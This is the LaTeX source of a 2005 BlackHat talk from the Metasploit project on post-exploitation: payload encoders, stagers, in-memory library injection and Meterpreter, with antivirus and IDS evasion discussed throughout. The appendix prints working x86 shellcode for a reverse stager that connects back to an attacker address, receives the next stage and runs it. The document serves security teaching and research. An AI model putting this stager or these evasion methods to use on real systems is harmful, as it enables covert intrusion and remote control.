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metasploit-framework/dev/bh/bh05.tex
Matt Miller 52bd0b0a6a updated slides 
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2005-08-01 13:40:51 +00:00

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\documentclass{beamer}
\usepackage{graphicx}
\usepackage{color}
\mode<presentation> { }
\usepackage[english]{babel}
\usepackage[latin1]{inputenc}
\usepackage{times}
\usepackage[T1]{fontenc}
% I think this looks cool, but whateva! - skape
%\usepackage{beamerthemeshadow}
% Love from spoon
\newcommand{\pdfpart}[1]{\label{pdfpart-#1}\pdfbookmark[0]{#1}{pdfpart-#1}\part{#1}}
\newenvironment{sitemize}{\vspace{1mm}\begin{itemize}\itemsep 4pt\small}{\end{itemize}}
\newenvironment{senumerate}{\vspace{1mm}\begin{enumerate}\itemsep 4pt\small}{\end{enumerate}}
% Presentation meta-information
\title{Beyond EIP}
\author[spoonm \& skape] {spoonm \& skape}
\date[BlackHat 2005] {BlackHat, 2005}
\subject{Beyond EIP}
% Add a spacer between each part
\AtBeginPart{\frame{\partpage}}
% Turn off the navigation on the bottom yo
\setbeamertemplate{navigation symbols}{}
% spoon hates berkeley!
%\usetheme[width=2.2cm]{Berkeley}
%\usecolortheme{sidebartab}
\begin{document}
\begin{frame}[t]
\titlepage
\end{frame}
%
% Introduction
% - Who are we
% - Why are we here, what will we say
% - What order we're going to say it in
%
\pdfpart{Introduction}
\begin{frame}[t]
\frametitle{Who are we?}
\begin{sitemize}
\item spoonm
\begin{sitemize}
\item Full-time student
\item Metasploit developer since late 2003
\end{sitemize}
\item skape
\begin{sitemize}
\item Lead software developer by day
\item Independent security researcher by night
\item Joined the Metasploit project in 2004
\item Responsible for all cool features
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{What's this presentation about?}
\begin{sitemize}
\item What it's not about
\begin{sitemize}
\item New exploit / attack vectors
\item New exploitation techniques
\item 0day, bugs, etc
\end{sitemize}
\pause
\item What it is about
\begin{sitemize}
\item What you can do after owning EIP
\item The techniques to do it
\item Our tools to support it
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Plan of attack}
\begin{sitemize}
\item Payload Infrastructure
\begin{sitemize}
\item Payload composition
\item How payloads work
\item Recent tools, tricks, and techniques
\end{sitemize}
\item Post-exploitation tools
\begin{sitemize}
\item Background \& review of existing tools
\item The technology behind our tools
\item How they can be used
\item Crazy cool features for the end-user
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Our definitions: the exploitation cycle}
\begin{sitemize}
\item \textbf{Pre-exploitation} - Before the attack
\begin{sitemize}
\item Find a bug, isolate, write exploit
\item Write any other tools, payloads, etc
\end{sitemize}
\pause
\item \textbf{Exploitation} - Leveraging the vulnerability
\begin{sitemize}
\item Recon, information gathering, find target
\item Initialize tools and infrastructure
\item Launch the exploit
\end{sitemize}
\pause
\item \textbf{Post-exploitation} - Manipulating the target
\begin{sitemize}
\item Arbitrary command execution
\item Command execute via shell
\item File access, VNC, pivoting, etc
\item Advanced payload interaction
\end{sitemize}
\end{sitemize}
\end{frame}
%
% This section is basically here to introduce them to all of the mechanisms
% of a modern day payload system. Just introduce and define the pieces, and
% explain their roles. Then, later, we will discuss the details of them..
%
% We should try hard not to introduce anything new in this section!, Any
% examples in explainations
%
% This section should be an _introduction_ to what payload infrastructure is
% but it should not have any specific details about our implementations.
%
% - What is a nop sled, and why / how / when do we use them
% - What is an encoder, and why / how / when do we use them
% - What is a stager and stage, why / how / when do we use them
%
% We should also talk about egghunt, heapfix, jmpcode, etc. We should have
% a name for these sort of things, they are like "bootstrap" codes, or
% something. Like, we need a a good name for them dude!
%
\pdfpart{Payload Infrastructure}
\begin{frame}[t]
\frametitle{Anatomy of a Payload}
\Large{[ \alert<1>{nops} ] [ \alert<2>{decoder} ( \alert<3>{encoded payload} ) ]}
\begin{sitemize}
\item \textbf{Nop sled}
\begin{sitemize}
\item For exploits where return is uncertain
\item Control flows through the sled into the encoder
\item Generally 1 byte aligned for x86
\end{sitemize}
\pause
\item \textbf{Decoder}
\begin{sitemize}
\item Synonymous with payload encoder
\item Loops and decodes payload
\item Payload executed when finished
\end{sitemize}
\pause
\item \textbf{Payload}
\begin{sitemize}
\item Arbitrary code
\item Typically provides a command shell
\end{sitemize}
\end{sitemize}
\end{frame}
\section{Nop sleds}
%
% Why do we use them?
% Don't really need them for win32, why?
% Previous work (0x90, admutate)
\begin{frame}[t]
\frametitle{What's a nop sled?}
\textbf{Definition}
\begin{sitemize}
\item A series of bytes that equate to no-operations on the
target architecture
\end{sitemize}
\pause
\textbf{How a nop sled works}
\begin{sitemize}
\pause
\item Client builds a nop sled and prepends it to a payload
\pause
\item Client transmits the entire payload via an exploit
\pause
\item Target executes all, some, or none of the nop
instructions
\pause
\item Execution falls through to the payload
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{What's so cool about nop sleds?}
\begin{sitemize}
\item Not all vulnerabilities have predictable return
addresses
\begin{sitemize}
\item Particularly useful when brute forcing
\end{sitemize}
\pause
\item Using a sled can improve exploit quality
\begin{sitemize}
\item Increasing the brute force step size decreases
number of attempts
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Nop sled technology}
\textbf{Existing technology}
\begin{sitemize}
\item \footnotesize{\texttt{perl -e 'print "$\backslash$x90" x \$ARGV[0]"'
sled\_size}}
\item ADMutate - single-byte x86
\end{sitemize}
\textbf{Metasploit technology}
\begin{sitemize}
\item Opty2 multi-byte sled generator
\item Based on Optyx's multi-byte sled generator
\end{sitemize}
\end{frame}
\section{Encoders}
% Why, etc
% Talk about any previous work?
\begin{frame}[t]
\frametitle{What's an encoder?}
\textbf{Definition}
\begin{sitemize}
\item Algorithm to retain payload functionality, but alter the byte sequence
\end{sitemize}
\pause
\textbf{How an encoder works}
\begin{sitemize}
\pause
\item Client encodes the payload prior to transmission
\pause
\item Client prepends decoder stub to the payload
\pause
\item Client transmits the entire payload via an exploit
\pause
\item Target executes the decoder stub
\pause
\item Decoder stub performs inverse operation on the payload
\pause
\item Original payload is executed
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{What's so cool about encoders?}
\begin{sitemize}
\item Avoid common restricted characters
(\texttt{0x00}, \texttt{0x0a}, etc)
\item Survive application translations (unicode, toupper)
\pause
\item IDS evasion
\begin{sitemize}
\item Static string signatures
(\texttt{/bin/sh})
\item Specific payload and payload pattern signatures
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Encoder technology}
\textbf{Existing technology}
\begin{sitemize}
\item XOR
\begin{sitemize}
\item Defacto standard for encoders
\item Typically performed on a byte, word, or dword basis
\item Variable or static key
\item Decoder stubs are usually static excluding the key
\end{sitemize}
\pause
\item Alphanumeric / Unicode
\begin{sitemize}
\item Rix's x86 encoder from Phrack 57
\item SkyLined's Alpha2 x86 ascii and unicode encoder
\item Dave Aitel and FX's unicode encoders
\end{sitemize}
\end{sitemize}
\textbf{Metasploit technology}
\begin{sitemize}
\item Shikata Ga Nai
\end{sitemize}
\end{frame}
\section{Payloads}
\begin{frame}[t]
\frametitle{What's a payload?}
\textbf{Definition}
\begin{sitemize}
\item Arbitrary code that is to be executed upon successful
exploitation
\end{sitemize}
\pause
\textbf{How a payload works}
\begin{sitemize}
\item Client prepares the payload for execution
\pause
\item Data may be embedded (cmd to execute, hostname, port, etc)
\pause
\item Client transmits the payload via an exploit
\pause
\item Target executes the payload
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{The three types of payloads}
\begin{sitemize}
\item \textbf{Single}
\begin{sitemize}
\item A self-contained payload that performs a specific
task
\item Size varies depending on the task
\item Example: Reverse or bind command shell
\end{sitemize}
\pause
\item \textbf{Stager}
\begin{sitemize}
\item A stub payload that loads / bootstraps a stage
\item Size generally much smaller than single payloads
\item Passes connection information onto the stage
\end{sitemize}
\pause
\item \textbf{Stage}
\begin{sitemize}
\item Similar to a single payload, but takes advantage
of staging
\item Uses connection passed from the stager
\item Not subject to size limitations of individual
vulnerabilities
\item A stager can also be a stage
\end{sitemize}
\end{sitemize}
\end{frame}
\subsection{Single}
\begin{frame}[t]
\frametitle{Single payloads}
\begin{sitemize}
\item Easy plug \& chug payloads
\pause
\item Task oriented and connection specific
\pause
\item Single payloads have to be developed for each
connection (portbind, reverse, findsock)
\begin{sitemize}
\item Requires the payload to be implemented \textit{N} times
\item Shellcode development systems tried to help with this
\end{sitemize}
\pause
\item Subject to size limitations of individual
vulnerabilities
\end{sitemize}
\end{frame}
% Previous work?
% Explain singles/stagers/stages
\subsection{Stagers}
% What is a stager and why
\begin{frame}[t]
\frametitle{Payload stagers}
\begin{sitemize}
\item Stagers are typically network based and follow three
basic steps
\begin{sitemize}
\item Establish connection to attacker (reverse,
portbind, findsock)
\item Read in a payload from the connection
\item Setup connection information and branch to stage
\end{sitemize}
\pause
\item The three steps make it so stages are independent of the
connection method
\begin{sitemize}
\item No need to have command shell payloads for
reverse, portbind, and findsock
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Why are payload stagers useful?}
\begin{sitemize}
\item Some vulnerabilities have limited space for the
initial payload
\item Typically much smaller than the stages
they execute
\pause
\item Eliminate the need to re-implement payloads for each
connection method
\pause
\item Provides an abstraction level for loading code onto a remote
machine through any medium
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Existing payload stager technology}
\begin{sitemize}
\item Standard reverse, portbind, and findsock stagers
included in Metasploit 2.2+
\item LSD Win32 Assembly Components
\item Found in public exploits (Solar Eclipse OpenSSL)
% TODO: others?
\end{sitemize}
\end{frame}
\subsection{Stages}
% Command shell
% or whatever
\begin{frame}[t]
\frametitle{Payload stages}
\begin{sitemize}
\item Payload stages are executed by payload stagers and
perform arbitrary tasks
\pause
\item Some examples of payload stages include
\begin{sitemize}
\item Execute a command shell and redirect IO to the
attacker
\item Execute an arbitrary command (ex adduser)
\item Download an executable from a URL and execute it
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Why are payload stages useful?}
\begin{sitemize}
\item Highly reusable (connection independent, etc)
\item Can conform to some sort of ABI
\pause
\item Not subject to size limitations of individual
vulnerabilities
\item This means they can be arbitrarily complex
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{``Advantage'' payloads}
\begin{sitemize}
\item Shellcode generation systems
\item Generally have more features because they're easier to write
\item The system's infrastructure makes the payloads more capable
\item Help to reduce the tediousness of writing payloads
\pause
\item Stealth's Hellkit
\item Core ST's InlineEgg
\item Philippe's Shellforge
\item Dave Aitel's MOSDEF
\end{sitemize}
\end{frame}
\section{Windows Ordinal Stagers}
\subsection{Overview}
\begin{frame}[t]
\frametitle{Windows ordinal stagers}
\begin{sitemize}
\item Technique from Oded's lightning talk at core04
\item Uses static ordinals in \texttt{WS2\_32.DLL} to locate symbol
addresses
\item Compatible with all versions of Windows (including 9X)
\item Results in very low-overhead symbol resolution
\item Facilitates implementation of reverse, portbind, and
findsock stagers
\item Leads to very tiny win32 stagers (92 byte reverse, 93
byte findsock)
\item Detailed write-up can be found in reference materials
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{How ordinal stagers work}
\begin{sitemize}
\item Ordinals are unique numbers that identify exported
symbols in PE files
\item Each ordinal can be used to resolve the address of an
exported symbol
\pause
\item Most of the time, ordinals are incremented linearly by the
linker
\item Sometimes, however, developers may wish to force
symbols to use the same ordinal every build
\item When ordinals are the same every build, they are
referred to as static
\pause
\item Using an image's exports by ordinal instead of by name
is more efficient at runtime
\item However, it will not be reliably portable unless the
ordinals are known-static
\pause
\item Very few PE files use known-static ordinals, but
\texttt{WS2\_32.DLL} is one that does
\begin{sitemize}
\item 30 symbols use static ordinals in
\texttt{WS2\_32.DLL}
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Limitations of ordinal stagers}
\begin{sitemize}
\item Only 30 symbols can be used
\begin{sitemize}
\item \texttt{WSASocketA} is not among them
\end{sitemize}
\pause
\item Can't initialize winsock if it isn't initialized
\begin{sitemize}
\item \texttt{WSAStartup} doesn't have a static ordinal
\end{sitemize}
\pause
\item Can't use sockets as direct standard I/O handles
\begin{sitemize}
\item Sockets returned from \texttt{socket} aren't valid
console handles
\item Must use pipes instead
\end{sitemize}
\end{sitemize}
\end{frame}
\subsection{Implementation}
\begin{frame}[t]
\frametitle{Implementing a reverse ordinal stager}
\begin{sitemize}
\item Locate the base address of \texttt{WS2\_32.DLL}
\begin{sitemize}
\item Extract the Peb->Ldr pointer
\item Extract Flink from the InInitOrderModuleList
\item Loop through loaded modules comparing module names
\item Module name is stored in unicode, but can be
partially translated to ANSI
\item Once \texttt{WS2\_32.DLL} is found, extract its
BaseAddress
\end{sitemize}
\pause
\item Resolve \texttt{socket}, \texttt{connect},
and \texttt{recv}
\begin{sitemize}
\item Use static ordinals to index the Export Directory Address Table
\end{sitemize}
\pause
\item Allocate a socket, connect to the attacker,
and read in the next payload
\pause
\item Requires that \texttt{WS2\_32.DLL} already be loaded
in the target process
\end{sitemize}
\end{frame}
\pdfpart{Post Exploitation}
\section{Introduction}
%
%
% NOTE, we should probably throw in some intermitent demos just
% to help the audience from getting bored. We should figure out how
% we can demo some of the parts before Features, or if we should reord
% some things so there are some demoables...
%
%
%
% Oh, I have a good idea, we should talk about dN in the introduction, since
% it's a really simple example of post exploitation. Then we'll demo that
% and then go into the meterpreter stuff, and then demo that at the end!
%
%
% What is post exploitation?
%
% Most important to audience
% 1) Features
% 2) Evasion
% 3) Technology
%
% Presentation Order
% 1) Technology (lib inject, etc)
% 2) Evasion (diskless, encryption, http tuennling maybe)
% 3) Features (and made demos)
%
% Maybe we shoud just merge Evasion into technology, there is no good
% reason for them to be seperate, and it makes the explination more
% continuious
%
\begin{frame}[t]
\frametitle{What is post-exploitation?}
\begin{sitemize}
\pause
\item The purpose of an exploit is to manipulate a target
\pause
\item Manipulation of a target begins in post-exploitation
\begin{sitemize}
\item Command shells are executed
\item Files are downloaded
\end{sitemize}
\pause
\item Represents the culmination of the exploitation cycle
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{What do most people do in post-exploitation?}
\begin{sitemize}
\item Most people spawn a command shell
\begin{sitemize}
\item Poor automation support
\item Reliant on the shell's intrinsic commands
\item Limited to installed applications
\item Can't provide advanced features
\end{sitemize}
\pause
\item Some people use syscall proxies
\begin{sitemize}
\item Good automation support
\item Partial or full access to target native API
\item Can be clumsy when implementing complex features
\item Typically require specialized build steps
\end{sitemize}
\end{sitemize}
\end{frame}
%
% Introduction - Dispatch Ninja
%
% Gentle introduction into post-exploitation with simple overview and a
% demo about how dN works!
%
\section{DispatchNinja}
\begin{frame}[t]
\frametitle{DispatchNinja - Caveman Post Exploitation}
\begin{sitemize}
\item The idea is to have interactive shellcode
\item And be able to keep a very low footprint
\pause
\item But also have lots of optional power
\pause
\
\item Basically a shellcode read-eval-print loop
\item First stage loops, reading/executing code
\item DispatchNinja "modules" are sent and executed
\item This is what we call "dispatching"
\pause
\
\item Modules are responsible for their own mini-protocols
\item Each module has a corresponding handler on client side
\pause
\
\item Modules have a simple C ABI, and have a main function
\item Most of our dN modules were written in C (shellforge)
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{DispatchNinja - Client side APIs}
\begin{sitemize}
\item Client side APIs wrap handler and module code
\item Msf3 has ruby dN client side APIs
\pause
\
\item APIs modeled after the ruby APIs (Dir, File, etc)
\item Our APIs should support the majority of Ruby functionality
\end{sitemize}
\end{frame}
\begin{frame}[t, fragile]
\footnotesize{
\begin{verbatim}
irb#1(main):001:0> c = @c
=> #<Rex::Post::DispatchNinja::Client:0xb7bf542c
@sock=#<TCPSocket:0xb7bf5440>>
irb#1(main):002:0> c.dir.entries('/tmp')
=> [".", "..", ".X11-unix", ".ICE-unix", ".font-unix"]
irb#1(main):004:0> puts c.file.stat('/etc/passwd').pretty
Size: 1036 Blocks: 8 IO Block: 4096 Type: 0
Device: 774 Inode: 81499 Links: 1
Mode: 100644/rw-r--r--
Uid: 0 Gid: 0
Access: Tue Jul 26 20:08:09 EDT 2005
Modify: Wed Jul 06 20:45:04 EDT 2005
Change: Wed Jul 06 20:45:04 EDT 2005
=> nil
irb#1(main):005:0> Process.pid
=> 1496
irb#1(main):006:0> c.process.pid
=> 1498
\end{verbatim}
}
\end{frame}
%
% Introduction - Meterpreter
%
% Now give an overview of meterpreter!
%
\begin{frame}[t]
\frametitle{What is Meterpreter?}
\begin{sitemize}
\item Short for \textit{Meta-Interpreter}
\item An advanced post-exploitation system
\item Based on library injection technology
\item First released with Metasploit 2.3
\item Detailed write-up can be found in reference materials
\end{sitemize}
\begin{sitemize}
\pause
\item After exploitation, a Meterpreter server DLL is
loaded on the target
\pause
\item Attackers use a Meterpreter client to interact with
the server to...
\begin{sitemize}
\item Load run-time extensions in the form of DLLs
\item Interact with communication channels
\end{sitemize}
\end{sitemize}
\begin{sitemize}
\pause
\item But before understanding Meterpreter, one should understand
library injection...
\end{sitemize}
\end{frame}
%
% Technology - Library Injection
%
\section{Library Injection}
\subsection{Overview}
\begin{frame}[t]
\frametitle{Library injection}
\begin{sitemize}
\item Provides a method of loading a
library (DLL) into an exploited process
\pause
\item Libraries are functionally equivalent to executables
\begin{sitemize}
\item Full access to various OS-provided APIs
\item Can do anything an executable can do
\end{sitemize}
\pause
\item Library injection is covert; no new processes
need to be created
\pause
\item Detailed write-up can be found in reference materials
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Types of library injection}
\begin{sitemize}
\item Two primary methods exist to inject a library
\begin{senumerate}
\item \textbf{On-Disk}: loading a library from the target's
harddrive or a file share
\item \textbf{In-Memory}: loading a library entirely from memory
\end{senumerate}
\item Both are conceptually portable to non-Windows platforms
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{On-Disk library injection}
\begin{sitemize}
\item Loading a library from disk has been the defacto
standard for Windows payloads
\item Loading a library from a file share was first
discussed by Brett Moore
\end{sitemize}
\pause
\begin{sitemize}
\item On-Disk injection is subject to filtering by Antivirus due to
filesystem access
\item Requires that the library file exist on the target's
harddrive or that the file share be reachable
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{In-Memory library injection}
\begin{sitemize}
\item First Windows implementation released with Metasploit 2.2
\pause
\item Libraries are loaded entirely from memory
\pause
\item No disk access means no Antivirus interference
\pause
\item Most stealthy form of library injection thus far
identified
\pause
\item No disk access means no forensic trace if the machine
loses power
\end{sitemize}
\end{frame}
\subsection{In-Memory Implementation on Windows}
\begin{frame}[t]
\frametitle{In-Memory library injection on Windows}
\begin{sitemize}
\item Library loading on Windows is provided through \texttt{NTDLL.DLL}
\item \texttt{NTDLL.DLL} only supports loading libraries from disk
\end{sitemize}
\pause
\begin{sitemize}
\item To load libraries from memory, \texttt{NTDLL.DLL} must be tricked
\pause
\item When loading libraries, low-level system calls are used to interact with the file on disk
\begin{sitemize}
\item \texttt{NtOpenFile}
\item \texttt{NtCreateSection}
\item \texttt{NtMapViewOfSection}
\end{sitemize}
\item These routines can be hooked to change their behavior to operate against a memory region
\end{sitemize}
\pause
\begin{sitemize}
\item Once hooked, calling \texttt{LoadLibraryA} with a unique pseudo file name is all that's needed
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{In-Memory library injection on Windows}
\begin{sitemize}
\item But why not just write a stub loader instead of using
\texttt{NTDLL.DLL}?
\end{sitemize}
\begin{sitemize}
\pause
\item Lots of reasons...
\begin{sitemize}
\item Requires manual import processing
\item Requires manual relocation fix-ups
\item Requires loading dependent DLLs
\item May require manual insertion into the loaded module
lists
\item Other uncommon PE features that wouldn't
be supported
\end{sitemize}
\pause
\item No compelling reason to re-implement what is already
supplied in \texttt{NTDLL.DLL}
\end{sitemize}
\end{frame}
%
% We've demo'd this before, so even though it would be a great demo, at
% a perfect place in the talk, I don't think we should demo it
%
\subsection{Example DLL: VNC}
\begin{frame}[t]
\frametitle{Library injection in action: VNC}
\begin{sitemize}
\item VNC is a remote desktop protocol
\item Very useful for remote administration beyond simple CLIs
\end{sitemize}
\pause
\begin{sitemize}
\item First demonstrated at BlackHat USA 2004
\pause
\item Metasploit team converted RealVNC to a standalone DLL
\begin{sitemize}
\item No non-standard file dependencies
\item No installation required
\item Does not make any registry or filesystem changes
\item Does not listen on a port; uses payload connection as a VNC client
\end{sitemize}
\pause
\item By using the generic library loading stager, VNC was simply plugged in
\end{sitemize}
\pause
\begin{sitemize}
\item Extremely useful when illustrating security weaknesses
\item Suits understand mouse movement much better than command lines
\end{sitemize}
\end{frame}
% more slides here, talking about post-exploitation technology
% why it's necessary
% - automation
% - evasion
% - extensibility
% what advantages it offers
% - pivoting
% - etc
% other stuff I can't think of right now
%
% Technology - TLV / Protocol
%
%
% We should also probably talk about it's asynchness and how that
% works great for sharing and threading!
%
\section{Meterpreter}
\begin{frame}[t]
\frametitle{Meterpreter: Design goals}
\begin{sitemize}
\item Primary design goals are to be...
\begin{sitemize}
\pause
\item \textbf{Stealthy}: no disk access and no new process by default
\pause
\item \textbf{Powerful}: channelized communication and robust protocol
\pause
\item \textbf{Extensible}: run-time augmentation of features with extensions
\end{sitemize}
\pause
\item Portability also a design consideration
\begin{sitemize}
\item The current server implementation is only for
Windows
\end{sitemize}
\end{sitemize}
\end{frame}
\subsection{Architecture}
\begin{frame}[t]
\frametitle{Architecture - design goals}
\begin{sitemize}
\item Very flexible protocol; should adapt to extension
requirements without modification
\pause
\item Should expose a channelized communication system for
extensions
\pause
\item Should be as stealthy as possible
\pause
\item Should be portable to various platforms
\pause
\item Clients on one platform should work with servers on
another
\pause
\item All non-critical features should be implemented by
extensions
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Architecture - protocol}
\begin{sitemize}
\item Uses TLV (\texttt{Type-Length-Value}) to support
opaque data
\pause
\item Every packet is composed of zero or more TLVs
\pause
\item Packets themselves are TLVs
\begin{sitemize}
\item Type is the packet type (request, response)
\item Length is the length of the packet
\item Value is zero or more embedded TLVs
\end{sitemize}
\pause
\item TLVs make packet parsing simplistic and flexible
\begin{sitemize}
\item No formatting knowledge is required to parse the
packet outside of the TLV structure
\end{sitemize}
\end{sitemize}
\end{frame}
%
% Technology - Clients / Ruby APIs
%
\begin{frame}[t]
\frametitle{Core client/server interface}
\begin{sitemize}
\item Server written in C, client written in any language
\pause
\item Provides a minimal interface to support the loading of extensions
\pause
\item Implements basic packet transmission and dispatching
\item Exposes channel allocation and management to
extensions
\pause
\item Also includes support for migrating the server to
another running process
\end{sitemize}
\pause
\begin{sitemize}
\item Metasploit 2.x has a perl Meterpreter client
\item Metasploit 3.x will use a ruby Meterpreter client
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Augmenting features at run-time}
\begin{sitemize}
\item Adding new features is as simple as loading a DLL on
the server
\begin{sitemize}
\item Client uploads the extension DLL
\item Server loads the DLL from memory and
initializes it
\end{sitemize}
\pause
\item Client can begin sending commands for the new
extension
\end{sitemize}
\end{frame}
\subsection{Example Extension: Stdapi}
\begin{frame}[t]
\frametitle{Meterpreter extensions in action: Stdapi}
\begin{sitemize}
\item Included in Metasploit 3.0
\item Combination of previous extensions into standard
interface
\pause
\item Provides access to standard OS features
\pause
\item Feature set provides for robust client-side automation
\pause
\item Designed to mirror the Ruby API to make it easy to use
existing scripts against targets
\end{sitemize}
\end{frame}
%
% Features - Meterpreter
%
\begin{frame}[t]
\frametitle{Why is Meterpreter useful?}
\begin{sitemize}
\item Standard interface makes it possible to use one client
to perform common actions on various platforms
\begin{sitemize}
\pause
\item Execute a command interpreter and channelize the
output
\pause
\item Turn on the target's USB webcam and begin
streaming video
\end{sitemize}
\pause
\item Programmatically automatable
\begin{sitemize}
\item RPC-like protocol allows arbitrarily complex tasks
to be performed with a common interface
\item Extension-based architecture makes Meterpreter
completely flexible
\end{sitemize}
\pause
\item Use of in-memory library injection makes it possible
to run in a stealth fashion
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Some of the features Meterpreter can offer}
\begin{sitemize}
\item Command execution \& manipulation
\item Registry interaction
\item File system interaction
\item Network pivoting \& port forwarding
\item Complete native API proxying
\item Anything you can do as a native DLL, Meterpreter can
do!
\item Sky's the limit!
\end{sitemize}
\end{frame}
%
% But enough talk, let's get to the demos!
%
\pdfpart{Demos}
%
% Now talk about all the crazy cool features and demo shit here!
%
% - port forwarding
% - migrating
% - file access
% - clear event log or something silly
% - opengl demo (in memory .exe loading)
% - etc etc!
%
\pdfpart{Conclusion}
\begin{frame}[t]
\frametitle{What does the future hold?}
\begin{sitemize}
\item Exploitation vectors and techniques are mature
\pause
\item Public post-exploitation suites still very weak
\pause
\item However, post-exploitation is maturing
\pause
\item Metasploit 3.0 should be cool
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Reference Material}
\textbf{Payload Stagers}
\begin{sitemize}
% \item Windows Ordinal Stagers \\
% \footnotesize{\url{http://www.metasploit.com/users/spoonm/ordinals.txt}}
\item PassiveX \\
\footnotesize{\url{http://www.uninformed.org/?v=1&a=3&t=sumry}}
\end{sitemize}
\textbf{Payload Stages}
\begin{sitemize}
\item Library Injection \\
\footnotesize{\url{http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf}}
\item Meterpreter \\
\footnotesize{\url{http://www.nologin.org/Downloads/Papers/meterpreter.pdf}}
\end{sitemize}
\end{frame}
\appendix
\pdfpart{Appendix: Payload Stagers}
\section{Windows Ordinal Stagers}
\subsection{Reverse Ordinal Stager Implementation}
\begin{frame}[fragile]
\frametitle{Locating WS2\_32.DLL's base address}
\footnotesize{
\begin{verbatim}
FC cld ; clear direction (lodsd)
31DB xor ebx,ebx ; zero ebx
648B4330 mov eax,[fs:ebx+0x30] ; eax = PEB
8B400C mov eax,[eax+0xc] ; eax = PEB->Ldr
8B501C mov edx,[eax+0x1c] ; edx = Ldr->InitList.Flink
8B12 mov edx,[edx] ; edx = LdrModule->Flink
8B7220 mov esi,[edx+0x20] ; esi = LdrModule->DllName
AD lodsd ; eax = [esi] ; esi += 4
AD lodsd ; eax = [esi] ; esi += 4
4E dec esi ; esi--
0306 add eax,[esi] ; eax = eax + [esi]
; (4byte unicode->ANSI)
3D32335F32 cmp eax,0x325f3332 ; eax == 2_32?
75EF jnz 0xd ; not equal, continue loop
\end{verbatim}
}
\end{frame}
\begin{frame}[fragile]
\frametitle{Resolve symbols using static ordinals}
\footnotesize{
\begin{verbatim}
8B6A08 mov ebp,[edx+0x8] ; ebp = LdrModule->BaseAddr
8B453C mov eax,[ebp+0x3c] ; eax = DosHdr->e_lfanew
8B4C0578 mov ecx,[ebp+eax+0x78]; ecx = Export Directory
8B4C0D1C mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
01E9 add ecx,ebp ; ecx += ws2base
8B4158 mov eax,[ecx+0x58] ; eax = socket rva
01E8 add eax,ebp ; eax += ws2base
8B713C mov esi,[ecx+0x3c] ; esi = recv rva
01EE add esi,ebp ; esi += ws2base
03690C add ebp,[ecx+0xc] ; ebp += connect rva
\end{verbatim}
}
\end{frame}
\begin{frame}[fragile]
\frametitle{Create the socket, connect back, recv, and jump}
\footnotesize{
\begin{verbatim}
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53 push ebx ; push 0
6A01 push byte +0x1 ; push SOCK_STREAM
6A02 push byte +0x2 ; push AF_INET
FFD0 call eax ; call socket
97 xchg eax,edi ; edi = fd
687F000001 push dword 0x100007f ; push sockaddr_in
68020010E1 push dword 0xe1100002
89E1 mov ecx,esp ; ecx = &sockaddr_in
53 push ebx ; push flags (0)
B70C mov bh,0xc ; ebx = 0x0c00
53 push ebx ; push length (0xc00)
51 push ecx ; push buffer
57 push edi ; push fd
51 push ecx ; push buffer
6A10 push byte +0x10 ; push addrlen (16)
51 push ecx ; push &sockaddr_in
57 push edi ; push fd
56 push esi ; push recv
FFE5 jmp ebp ; call connect
\end{verbatim}
}
\end{frame}
\end{document}
\begin{comment}
NOTEZ
First
What aren't we talking about
- New exploit vectors
- New exploit techniques
- Bugs in any shape, size, or form
What is encoding, and why do we do it?
- Bad character avoidence, don't need special case payloads for that..
- Added bonus of evasion
- Nice because you usually just need to write 1 good encoder...
What is staging, and why?
- Size problem
- Multiple your aresenal, 5 stagers + 5 stages, 10 shellcodes, but 25 payloads
Should move around the ordinal information, explain what ordinals are first.
Talk about how ordinals are diffined to be static in their .lib
List some of the limitations for ws2_32 (like no WSASocket, and what that means
in terms of writing shellcode, pipe shell, etc).
Post exploitation.
What's most important to them
1) Features
2) Evasion
3) Technology.
The order we should present is reverse, save the best for last
1) introduce and explain the technology
- dll injection
- TLV protocol, async, threadsafe, meterp sharing, etc
- Ruby APIs (how they emulate the native APIs, native API replacement, etc)
2) explain how this has the added benefit against anti-forensics
- no disk access
- anti-debugging
- page locking / swapping prevention
- encryption
- connection reuse and tunneling / channels
- no filesystem .exe loading...
3) explain the type of features an end-pentester would see
- pivoting / portfwd
- file upload / download, list, run, etc
- channels, multiple command shells, hung terminal doesn't totally fuck you
- vnc / idle time stffu (ties into stealthyness)
Possible flashy demos:
- migrating
- Possibly change window colors, move windows, etc in the process we migrate
to. Was shok's idea, so you could "visualize" the migrate, etc.
- Do some flashy no-disk .exe injection, send up an opengl demo!
Interesting asides:
- Great for testing (Metatest, bringing you a better Metasploit Framework!)
- make a insanely great remote control application (automation)
Future stuff:
- Botnetesk type stuff / mesh
- Listening meterp / multiple control channels / better collaboration..
OLD ----
Notes on post-exploitation
- Core Impact / Syscall Proxying
+ Mainly written to support their feature set, not to expose it to an end
user. Don't think you're going to get much access to the syscall libraries,
they are all written in C and dlls for the most part it seems.
+ you get their nice features, pivoting, file access, minishell, etc, but
